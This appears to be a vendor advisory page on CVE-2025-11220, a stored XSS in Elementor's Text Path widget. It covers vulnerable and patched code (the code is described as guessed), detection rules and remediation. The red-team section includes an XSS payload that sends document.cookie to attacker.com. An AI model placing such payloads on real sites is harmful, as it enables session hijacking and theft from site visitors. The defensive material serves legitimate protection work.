CVE-2025-11220
Executive Summary
CVE-2025-11220 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Elementor plugin for WordPress, affecting all versions up to and including 3.33.3. The flaw resides in the "Text Path" widget, where insufficient sanitization of user-supplied input allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a victim visits a page containing the malicious SVG markup, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used page builder plugin, affecting millions of sites. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact due to the plugin's popularity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – The attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original security scope (e.g., the victim's browser).
- Confidentiality (C): Low (L) – Limited data exposure is possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While authentication is required, the widespread use of Elementor and the ability for contributors to inject persistent scripts makes this a significant threat for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the Text Path widget of Elementor. This widget allows users to create text that follows a custom SVG path. The plugin constructs SVG markup based on user input, including the path data and text content. The flaw is that the plugin does not properly neutralize user-supplied input before embedding it into the SVG markup.
An attacker with contributor-level access can craft a malicious SVG path or text that includes JavaScript event handlers (e.g., onload, onmouseover) or script tags. When the SVG is rendered in the victim's browser, the injected script executes. Because the SVG is stored in the WordPress database (via the widget's settings), the XSS is persistent (stored), affecting all visitors to the compromised page.
The attack flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a page/post using Elementor.
- Attacker adds a
Text Pathwidget and injects malicious JavaScript into the SVG path or text field. - The malicious SVG markup is saved to the database.
- When any user (including administrators) visits the page, the SVG is rendered, and the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (Elementor <= 3.33.3): The vulnerable code likely resides in the widget's render method, where user input is directly concatenated into SVG markup without sanitization. A simplified example:
// Vulnerable: Direct concatenation of user input
$svg_markup = '<svg><path d="' . $user_path . '" />';
$svg_markup .= '<text><textPath href="#path">' . $user_text . '</textPath></text>';
echo $svg_markup;
Patched Code (Hypothetical):
The patched version would sanitize the user input using WordPress's built-in functions like esc_attr() or wp_kses() to strip dangerous attributes and tags.
// Patched: Sanitize user input
$safe_path = esc_attr( $user_path );
$safe_text = wp_kses( $user_text, array() ); // Strip all HTML
$svg_markup = '<svg><path d="' . $safe_path . '" />';
$svg_markup .= '<text><textPath href="#path">' . $safe_text . '</textPath></text>';
echo $svg_markup;
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Elementor plugin version <= 3.33.3.
- A user account with contributor-level privileges or higher.
Steps:
- Log in to the WordPress admin panel as a contributor.
- Create a new page or edit an existing one using Elementor.
- Add the
Text Pathwidget to the page. - In the widget settings, locate the field for the SVG path or text content.
- Inject a malicious payload. For example, in the text field, enter:
Or use an SVG event handler:<script>alert('XSS')</script><text onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">Click me</text> - Save the page and publish it.
- When any user visits the page, the script executes.
Note: Since no public exploit code is available, this is a conceptual demonstration.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual SVG markup in page content, especially event handlers like
onload,onerror,onmouseover. - Look for contributor-level users creating pages with Elementor widgets that contain script tags or suspicious attributes.
- Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to WordPress admin endpoints.
Prevention:
- Update Elementor to the latest patched version (once available).
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a security plugin like Wordfence to detect and block malicious input.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified page/post content in the WordPress database containing
<script>tags or SVG event handlers within Elementor widget data. - Suspicious entries in the
wp_postmetatable with_elementor_datameta key containing malicious SVG markup.
- Modified page/post content in the WordPress database containing
Network-based IOCs:
- Outbound HTTP requests from the WordPress server to unknown domains (e.g., data exfiltration).
- Unusual referrer headers or user-agent strings in access logs.
Behavioral IOCs:
- Contributor-level users creating pages with complex SVG markup.
- Multiple failed login attempts from the same IP (if the attacker is brute-forcing credentials).
Detection Engineering
YARA Rule
rule detect_elementor_xss_svg {
meta:
description = "Detects malicious SVG markup in Elementor Text Path widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11220"
strings:
$svg_path = /<svg[^>]*>.*?<path[^>]*d\s*=\s*["'][^"']*["'][^>]*\/?>/
$xss_payload = /<script[^>]*>.*?<\/script>/i
$event_handler = /on\w+\s*=\s*["'][^"']*["']/i
condition:
$svg_path and ($xss_payload or $event_handler)
}
Sigma Rule
title: Elementor Stored XSS via Text Path Widget
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Elementor Text Path widget
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains:
- 'elementor'
- 'text-path'
- '<script'
- 'onload'
- 'onerror'
condition: selection
falsepositives:
- Legitimate use of SVG with event handlers (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11220 Elementor Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"elementor"; http_client_body; content:"text-path"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the
Text Pathwidget in Elementor if possible, or restrict its use to administrator-level users only. - Update: Apply the official patch from Elementor as soon as it is released. Monitor the Elementor changelog for version 3.33.4 or higher.
- Workaround: Use a Web Application Firewall (WAF) with rules to block common XSS payloads in SVG markup.
- User Management: Review and limit contributor-level accounts. Implement two-factor authentication (2FA) for all users with publishing capabilities.
- Monitoring: Enable logging for all page/post edits and review for suspicious SVG content.
- Backup: Ensure regular backups of the WordPress database and files to facilitate recovery if compromised.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.